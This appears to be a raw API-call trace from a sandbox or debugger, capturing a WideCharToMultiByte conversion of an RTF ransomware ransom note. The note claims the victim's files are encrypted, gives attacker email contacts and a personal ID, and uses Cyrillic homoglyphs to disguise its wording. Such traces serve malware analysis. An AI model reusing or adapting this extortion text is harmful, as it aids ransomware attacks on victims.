billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 